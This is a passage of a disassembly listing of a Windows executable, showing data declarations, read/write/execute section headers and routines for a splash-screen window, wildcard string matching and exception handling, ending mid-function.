dword_48A094	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_48A098	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_48A09C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_48A0A0	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_48A0A8	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_48A0B8	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_48A0C0	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_48A0C4	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_48A0C8	dd 0			; DATA XREF: sub_41EFAB+3Ar
					; sub_41EFAB+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41F240:loc_41F257o
					; _2:off_48A04Co
		align 4
		dd 3Ah dup(0)
dword_48A1D0	dd 1			; DATA XREF: sub_41F48D+2r
					; sub_41F48D+23w ...
dword_48A1D4	dd 0			; DATA XREF: sub_41F84C+21r
dword_48A1D8	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_48A1DC	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_48A1E0	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_48A1E8	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_48A1EA	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_48A1EC	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_48A208	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_48A20C	dd 0			; DATA XREF: sub_42074B+4Dw
dword_48A210	dd 0			; DATA XREF: sub_42074B+31w
dword_48A214	dd 0			; DATA XREF: sub_42074B+52w
dword_48A218	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r ...
		align 10h
dword_48A220	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_48A228	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_48A22C	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_48A26C	dw 0			; DATA XREF: sub_420BAC+A8r
word_48A26E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_48A270	dw 0			; DATA XREF: sub_420BAC+CAr
word_48A272	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_48A274	dw 0			; DATA XREF: sub_420BAC+C0r
word_48A276	dw 0			; DATA XREF: sub_420BAC+B8r
word_48A278	dw 0			; DATA XREF: sub_420BAC+B0r
word_48A27A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_48A27C	dd 0			; DATA XREF: sub_42094E+4Br
dword_48A280	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_48A2C0	dw 0			; DATA XREF: sub_420BAC+46r
word_48A2C2	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_48A2C4	dw 0			; DATA XREF: sub_420BAC+67r
word_48A2C6	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_48A2C8	dw 0			; DATA XREF: sub_420BAC+5Dr
word_48A2CA	dw 0			; DATA XREF: sub_420BAC+55r
word_48A2CC	dw 0			; DATA XREF: sub_420BAC+4Dr
word_48A2CE	dw 0			; DATA XREF: sub_420BAC+3Er
dword_48A2D0	dd 0			; DATA XREF: sub_42094E+80r
dword_48A2D4	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_48A2D8	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_48A2DC	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_48A2E0	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_48A2E4	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_48A2E8	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_48A2EC	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_48A2F0	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_48A2F4	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_48A2F8	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_48A300	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_48A304	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_48A308	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_48A30C	db 1			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_48A310	dd 0A31110h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_48A320	dd 400h	dup(0)		; DATA XREF: _2:off_43BCB8o
					; _2:0043BCC0o
dword_48B320	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_48B340	dd 0A30650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_48B344	dd 3Fh dup(0)		; DATA XREF: sub_41F5BF+92o
dword_48B440	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_48B444	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_48B450	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_48B45C	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_48B460	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_48B560	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_48B561	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_48B664	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_48B668	dd 0			; DATA XREF: sub_41AD41+3Cw
					; sub_41B3E6+5r ...
dword_48B66C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_48B670	dd 0			; DATA XREF: sub_41AD41+31w
					; sub_41ADB4+311w ...
dword_48B674	dd 0			; DATA XREF: sub_41AD41+21w
					; sub_41ADB4+22Dr ...
dword_48B678	dd 0			; DATA XREF: sub_41AD41+28w
					; sub_41AD89r ...
dword_48B67C	dd 0			; DATA XREF: sub_41AD41+15w
					; sub_41AD89+8r ...
dword_48B680	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_48B684	dd 0A30000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_48B688	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_48B68C	dd 142340h		; DATA XREF: _0:00419C5Ew
					; sub_41F12F+Fr ...
dword_48B690	dd 1			; DATA XREF: sub_41F187+ADw
					; sub_421DAEr
dword_48B694	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_48B698	dd 0A3075Ch		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_48B69C	dd 0A30758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
_2		ends

; Section 4. (virtual address 0008C000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0008C000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_3		segment	para public 'CODE' use32
		assume cs:_3
		;org 48C000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h
_3		ends

; Section 5. (virtual address 0008D000)
; Virtual size			: 00011ABF (  72383.)
; Section size in file		: 00011ABF (  72383.)
; Offset to raw	data for section: 0008D000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_4		segment	para public 'CODE' use32
		assume cs:_4
		;org 48D000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D000	proc near		; CODE XREF: sub_49063E+84p
					; sub_49094C+333p ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F2E0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp+var_1C], esi
		lea	eax, [esi+10h]
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_49C98E
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_48D060
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_48D000	endp


; =============== S U B	R O U T	I N E =======================================



sub_48D05D	proc near		; DATA XREF: _5:0049F2E8o
		mov	esi, [ebp-1Ch]
sub_48D05D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_48D060	proc near		; CODE XREF: sub_48D000+47p
		add	esi, 10h
		push	esi
		call	ds:dword_49F018	; RtlLeaveCriticalSection
		retn
sub_48D060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D06B	proc near		; CODE XREF: sub_490166+9Bp
					; sub_490166+C4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_4]
		push	edi
		test	edx, edx
		jz	short loc_48D07D
		mov	edi, [ebp+arg_0]
		test	edi, edi
		jnz	short loc_48D081

loc_48D07D:				; CODE XREF: sub_48D06B+9j
		xor	eax, eax
		jmp	short loc_48D0D3
; ---------------------------------------------------------------------------

loc_48D081:				; CODE XREF: sub_48D06B+10j
		cmp	byte ptr [edx],	0
		jnz	short loc_48D08F
		xor	eax, eax
		cmp	[edi], al
		setz	al
		jmp	short loc_48D0D3
; ---------------------------------------------------------------------------

loc_48D08F:				; CODE XREF: sub_48D06B+19j
		push	ebx
		push	esi
		mov	esi, offset dword_4A1BE4
		mov	eax, edi

loc_48D098:				; CODE XREF: sub_48D06B+49j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_48D0BA
		test	cl, cl
		jz	short loc_48D0B6
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_48D0BA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_48D098

loc_48D0B6:				; CODE XREF: sub_48D06B+37j
		xor	eax, eax
		jmp	short loc_48D0BF
; ---------------------------------------------------------------------------

loc_48D0BA:				; CODE XREF: sub_48D06B+33j
					; sub_48D06B+41j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_48D0BF:				; CODE XREF: sub_48D06B+4Dj
		pop	esi
		pop	ebx
		test	eax, eax
		jnz	short loc_48D0CA
		mov	edi, offset dword_4A1BE0

loc_48D0CA:				; CODE XREF: sub_48D06B+58j
		push	edx
		push	edi
		call	sub_48D0D6
		pop	ecx
		pop	ecx

loc_48D0D3:				; CODE XREF: sub_48D06B+14j
					; sub_48D06B+22j
		pop	edi
		pop	ebp
		retn
sub_48D06B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D0D6	proc near		; CODE XREF: sub_48D06B+61p
					; sub_48D0D6+70p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	al, [ebx]
		push	edi
		test	al, al
		jz	short loc_48D120

loc_48D0E8:				; CODE XREF: sub_48D0D6+48j
		movsx	edi, byte ptr [esi]
		movsx	eax, al
		inc	ebx
		cmp	eax, 2Ah
		jz	short loc_48D130
		cmp	eax, 3Fh
		jz	short loc_48D115
		push	eax
		call	sub_48D86E
		mov	edx, eax
		push	edi
		mov	[ebp+arg_4], edx
		call	sub_48D86E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_48D12C
		jmp	short loc_48D119
; ---------------------------------------------------------------------------

loc_48D115:				; CODE XREF: sub_48D0D6+21j
		test	edi, edi
		jz	short loc_48D12C

loc_48D119:				; CODE XREF: sub_48D0D6+3Dj
		mov	al, [ebx]
		inc	esi
		test	al, al
		jnz	short loc_48D0E8

loc_48D120:				; CODE XREF: sub_48D0D6+10j
		xor	eax, eax
		cmp	[esi], al
		setz	al

loc_48D127:				; CODE XREF: sub_48D0D6+58j
					; sub_48D0D6+86j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_48D12C:				; CODE XREF: sub_48D0D6+3Bj
					; sub_48D0D6+41j ...
		xor	eax, eax
		jmp	short loc_48D127
; ---------------------------------------------------------------------------

loc_48D130:				; CODE XREF: sub_48D0D6+1Cj
		xor	edi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_48D142

loc_48D137:				; CODE XREF: sub_48D0D6+66j
		inc	edi
		cmp	byte ptr [edi+esi], 0
		jnz	short loc_48D137
		test	edi, edi
		jl	short loc_48D12C

loc_48D142:				; CODE XREF: sub_48D0D6+5Fj
		add	esi, edi

loc_48D144:				; CODE XREF: sub_48D0D6+7Fj
		push	esi
		push	ebx
		call	sub_48D0D6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_48D159
		dec	edi
		dec	esi
		test	edi, edi
		jge	short loc_48D144
		jmp	short loc_48D12C
; ---------------------------------------------------------------------------

loc_48D159:				; CODE XREF: sub_48D0D6+79j
		push	1
		pop	eax
		jmp	short loc_48D127
sub_48D0D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D15E	proc near		; DATA XREF: sub_48D271+36o

var_60		= dword	ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		cmp	[ebp+arg_4], 0Fh
		jnz	loc_48D1FF
		and	[ebp+var_20], 0
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_20]
		push	eax
		push	18h
		push	ds:dword_4A6A50
		call	ds:dword_4A27F8	; GetObjectA
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4A27F0	; BeginPaint
		push	[ebp+var_60]
		call	ds:dword_4A27E0	; CreateCompatibleDC
		mov	[ebp+var_8], eax
		push	ds:dword_4A6A50
		push	[ebp+var_8]
		call	ds:dword_4A27FC	; SelectObject
		mov	[ebp+var_4], eax
		push	0CC0020h
		push	0
		push	0
		push	[ebp+var_8]
		push	[ebp+var_18]
		push	[ebp+var_1C]
		push	0
		push	0
		push	[ebp+var_60]
		call	ds:dword_4A2804	; BitBlt
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	ds:dword_4A27FC	; SelectObject
		push	[ebp+var_8]
		call	ds:dword_4A27E8	; DeleteDC
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4A27F4	; EndPaint
		xor	eax, eax
		jmp	short loc_48D211
; ---------------------------------------------------------------------------

loc_48D1FF:				; CODE XREF: sub_48D15E+Bj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_49F050	; DefWindowProcA

loc_48D211:				; CODE XREF: sub_48D15E+9Fj
		pop	edi
		leave
		retn	10h
sub_48D15E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D216	proc near		; DATA XREF: sub_48D271+152o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4A2808	; GetWindowThreadProcessId
		call	ds:dword_4A26E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_48D26A
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4A6A54
		jz	short loc_48D26A
		push	ds:dword_4A6A54
		call	ds:dword_4A282C	; DestroyWindow
		and	ds:dword_4A6A54, 0
		push	[ebp+arg_0]
		call	ds:dword_4A280C	; SetActiveWindow
		push	[ebp+arg_0]
		call	ds:dword_4A2810	; SetForegroundWindow
		xor	eax, eax
		jmp	short locret_48D26D
; ---------------------------------------------------------------------------

loc_48D26A:				; CODE XREF: sub_48D216+1Ej
					; sub_48D216+29j
		push	1
		pop	eax

locret_48D26D:				; CODE XREF: sub_48D216+52j
		leave
		retn	8
sub_48D216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D271	proc near		; DATA XREF: sub_48D3F3+3Co

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4A6A50, eax
		and	[ebp+var_38], 0
		xor	eax, eax
		lea	edi, [ebp+var_34]
		stosd
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_38]
		push	eax
		push	18h
		push	[ebp+arg_0]
		call	ds:dword_4A27F8	; GetObjectA
		mov	ds:dword_4A6A60, 30h
		mov	ds:dword_4A6A68, offset	sub_48D15E
		mov	ds:dword_4A6A88, offset	aCc7574e45e3947	; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	ds:dword_4A6A74, eax
		push	offset dword_4A6A60
		call	ds:dword_4A2814	; RegisterClassExA
		push	10h
		call	ds:dword_4A2818	; GetSystemMetrics
		mov	[ebp+var_20], eax
		push	11h
		call	ds:dword_4A2818	; GetSystemMetrics
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_34]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+var_30]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_34]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_30]
		mov	[ebp+var_8], eax
		mov	[ebp+var_58], 98800000h
		push	0
		push	0
		push	[ebp+var_58]
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_49F054	; AdjustWindowRectEx
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_14]
		push	[ebp+var_58]
		push	offset dword_4A2918
		push	offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
		push	0
		call	ds:dword_4A281C	; CreateWindowExA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ds:dword_4A6A54, eax

loc_48D36B:				; CODE XREF: sub_48D271+133j
		push	0
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_4A2820	; GetMessageA
		test	eax, eax
		jz	short loc_48D3A6
		mov	eax, [ebp+var_54]
		cmp	eax, [ebp+var_4]
		jnz	short loc_48D390
		cmp	[ebp+var_50], 0
		jnz	short loc_48D390
		jmp	short loc_48D3A6
; ---------------------------------------------------------------------------

loc_48D390:				; CODE XREF: sub_48D271+115j
					; sub_48D271+11Bj
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_4A2824	; TranslateMessage
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_4A2828	; DispatchMessageA
		jmp	short loc_48D36B
; ---------------------------------------------------------------------------

loc_48D3A6:				; CODE XREF: sub_48D271+10Dj
					; sub_48D271+11Dj
		push	64h
		call	ds:dword_4A2794	; Sleep
		and	[ebp+var_1C], 0
		jmp	short loc_48D3BB
; ---------------------------------------------------------------------------

loc_48D3B4:				; CODE XREF: sub_48D271+170j
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax

loc_48D3BB:				; CODE XREF: sub_48D271+141j
		cmp	[ebp+var_1C], 64h
		jge	short loc_48D3E3
		push	0
		push	offset sub_48D216
		call	ds:dword_4A2830	; EnumWindows
		cmp	ds:dword_4A6A54, 0
		jnz	short loc_48D3D9
		jmp	short loc_48D3E3
; ---------------------------------------------------------------------------

loc_48D3D9:				; CODE XREF: sub_48D271+164j
		push	64h
		call	ds:dword_4A2794	; Sleep
		jmp	short loc_48D3B4
; ---------------------------------------------------------------------------

loc_48D3E3:				; CODE XREF: sub_48D271+14Ej
					; sub_48D271+166j
		push	[ebp+arg_0]
		call	ds:dword_4A2800	; DeleteObject
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_48D271	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D3F3	proc near		; CODE XREF: sub_495DC0+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	3
		push	80000000h
		push	offset a_splashscreen_ ; "_splashscreen.bmp"
		call	sub_491346
		test	eax, eax
		jz	short locret_48D450
		push	[ebp+var_4]
		call	sub_496456
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_48D446
		push	offset dword_4A6A58
		push	0
		push	[ebp+var_8]
		push	offset sub_48D271
		push	0
		push	0
		call	ds:dword_4A283C	; CreateThread
		push	64h
		call	ds:dword_4A2794	; Sleep

loc_48D446:				; CODE XREF: sub_48D3F3+30j
		push	0
		push	[ebp+var_4]
		call	sub_491741

locret_48D450:				; CODE XREF: sub_48D3F3+1Ej
		leave
		retn
sub_48D3F3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D454	proc near		; CODE XREF: sub_48D54C+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_48D46C
		push	[ebp+arg_0]
		call	sub_48DF68	; RtlUnwind

loc_48D46C:				; DATA XREF: sub_48D454+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_48D454	endp


; =============== S U B	R O U T	I N E =======================================



sub_48D474	proc near		; DATA XREF: sub_48D496+Ao
					; _4:0048D507o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_48D495
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_48D495:				; CODE XREF: sub_48D474+10j
		retn
sub_48D474	endp


; =============== S U B	R O U T	I N E =======================================



sub_48D496	proc near		; CODE XREF: sub_48D54C+67p
					; sub_48D54C+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_48D474
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_48D4B3:				; CODE XREF: sub_48D496:loc_48D4EEj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_48D4F0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_48D4F0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_48D4EE
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_48D52A
		call	dword ptr [ebx+esi*4+8]

loc_48D4EE:				; CODE XREF: sub_48D496+44j
		jmp	short loc_48D4B3
; ---------------------------------------------------------------------------

loc_48D4F0:				; CODE XREF: sub_48D496+2Aj
					; sub_48D496+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_48D496	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_48D474
		jnz	short locret_48D520
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_48D520
		mov	eax, 1

locret_48D520:				; CODE XREF: _4:0048D50Ej _4:0048D519j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_4A2434
		jmp	short loc_48D534

; =============== S U B	R O U T	I N E =======================================



sub_48D52A	proc near		; CODE XREF: sub_48D496+4Fp
					; sub_48D54C+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4A2434
		mov	ecx, [ebp+8]

loc_48D534:				; CODE XREF: _4:0048D528j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_48D52A	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D54C	proc near		; DATA XREF: sub_48D000+Ao
					; sub_48DA80+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_48D5EC
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_48D57F:				; CODE XREF: sub_48D54C+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_48D5E5
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_48D5D3
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_48D5D3
